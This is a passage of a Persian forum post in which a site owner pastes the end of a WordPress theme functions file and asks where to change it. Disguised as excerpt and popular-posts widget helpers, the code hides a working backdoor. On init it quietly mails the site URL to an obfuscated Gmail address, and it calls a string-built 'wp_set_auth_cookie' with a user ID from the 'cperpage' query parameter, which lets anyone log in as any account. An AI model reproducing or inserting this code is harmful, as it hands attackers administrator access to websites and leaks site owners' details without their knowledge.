    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
    }
    else{
    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
    }
    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
    if (($file != "." && $file != "..") || $skipDots == true) {
    if($listDirectories == false) { if(is_dir($file)) { continue; } }
    array_push($dirArray,basename($file));
    }
    }
    closedir($handle);
    }
    return $dirArray;
    }
    }
    add_action("admin_head", "_verify_activate_widget");
    function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :

    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    if(is_feed()) {
    $output=__("There is no excerpt because this is a protected post.");
    } else {
    $output=get_the_password_form();
    }
    }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
    if(!isset($showdot)) $showdot=1;

    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
    $text=$post->post_content;
    } elseif($fakeit == 1) {
    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
    $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
    $output=$text;
    } else {
    if(!$no_more && strpos($text, "<!--more-->")) {
    $text=explode("<!--more-->", $text, 2);
    $l=count($text[0]);
    $more_link=1;
    $comments=$wpdb->get_results($sql);
    } else {
    $text=explode(" ", $text);
    if(count($text) > $length) {
    $l=$length;
    $ellipsis=1;
    } else {
    $l=count($text);
    $more_links_text="";
    $ellipsis=0;
    }
    }
    for ($i=0; $i<$l; $i++)
    $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
    $output=strip_tags($output, $html_tags);
    return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
    case("div") :
    $tag="div";
    break;
    case("span") :
    $tag="span";
    break;
    case("p") :
    $tag="p";
    break;
    default :
    $tag="span";
    }

    if ($use_link ) {
    if($forces_more) {
    $output .= " <" . $tag . " class=\"more-link\">
    ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</" . $tag . ">" . "\n";
    } else {
    $output .= " <" . $tag . " class=\"more-link\">ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</" . $tag . ">" . "\n";
    }
    }
    return $output;
    }

    add_action("init", "_prepared_widget");

    function __popular_posts($no_posts=6, $before="

  • ", $after="
  • ", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
    foreach ($posts as $post) {
    $post_title=stripslashes($post->post_title);
    $comment_count=$post->comment_count;
    $permalink=get_permalink($post->ID);
    $output .= $before . " " . $post_title . " " . $after;
    }
    } else {
    $output .= $before . "None found" . $after;
    }
    return $output;
    }

    if (function_exists('add_theme_support')) {
    add_theme_support( 'post-thumbnails' );
    }

    ?>
    <?php
    if ( function_exists('register_sidebar') )
    register_sidebar();
    ?>

    محبت می کنید بگویید کجای فایل تغییر بدهم
    اینم ادرس سایتم yasinnor.ir

  • درباره‌ی این موضوع



    برچسب‌ها